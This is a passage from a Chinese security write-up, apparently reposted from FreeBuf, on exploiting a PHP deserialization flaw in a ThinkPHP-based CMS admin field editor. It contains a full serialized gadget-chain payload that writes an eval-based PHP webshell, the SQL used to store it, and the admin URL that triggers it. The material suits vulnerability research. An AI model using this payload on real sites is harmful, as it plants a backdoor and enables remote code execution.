dtype=text&title=bbb&name=aaa&dfvalue=O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":3:{s:9:"*append";a:1:{s:3:"xxx";s:8:"getError";}s:8:"*error";O:27:"think\model\relation\HasOne":3:{s:15:"*selfRelation";i:0;s:11:"*bindAttr";a:1:{i:0;s:3:"xxx";}s:8:"*query";O:14:"think\db\Query":1:{s:8:"*model";O:20:"think\console\Output":2:{s:28:"think\console\Outputhandle";O:30:"think\session\driver\Memcached":1:{s:10:"*handler";O:23:"think\cache\driver\File":2:{s:10:"*options";a:5:{s:6:"expire";i:3600;s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:122:"php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php";s:13:"data_compress";b:0;}s:6:"*tag";s:3:"xxx";}}s:9:"*styles";a:1:{i:0;s:7:"getAttr";}}}}s:6:"parent";r:11;}}}

这里遇到一个问题

1719567440_667e8450924f9332c3bd9.png!small?1719567442171

在执行if (false !== Db::execute($sql)) { 出错了

ALTER TABLEey_arctypeADDxx2varchar(500) NOT NULL DEFAULT '{{poc}}' COMMENT 'xx1';

通过排查sql 也没有什么错误啊,一直抛错误

1719567449_667e8459c8f389dae32cd.png!small?1719567451745

可能我这个数据有点奇怪吧,本地执行以下看看

1719567476_667e847493179e6268a97.png!small?1719567477168

啊......... 原来如此 是varchar(500)有限制长度的我输入反序列化数据已经超过500了,所以无法插入

那我们先删除一些数据,简单的测试下

1719567487_667e847f28ed2433ab88a.png!small?1719567487627

字段dfvalue成功插入我们的数据

1719567497_667e8489b30b755f53fe6.png!small?1719567498234

漏洞触发

接下来就是触发漏洞了需要注意的是channel_id与id。通过上面的方式 channel_id是默认的-99

而id是这个与前端的ID值是同步的,我们可以参考这个。

1719567511_667e8497d505940ab104d.png!small?1719567512267

访问/login.php?m=admin&c=Field&a=channel_edit&channel_id=-99&id=546&_ajax=1

1719567521_667e84a1d4e54c0de384d.png!small?1719567522728

调试看一下是否能真正的触发

1719567531_667e84ab62c0c004a7361.png!small?1719567531818

反序列化漏洞测试完成,比较可惜的是这段序列化数据有长度限制,没能完全将漏洞复现出来。

如果还有其它短一点的序列化链就好了!或者参考CTF中的奇思妙想将这条链给简化更短点也是可以的......


文章来源: https://www.freebuf.com/vuls/405365.html
如有侵权请联系:admin#unsafe.sh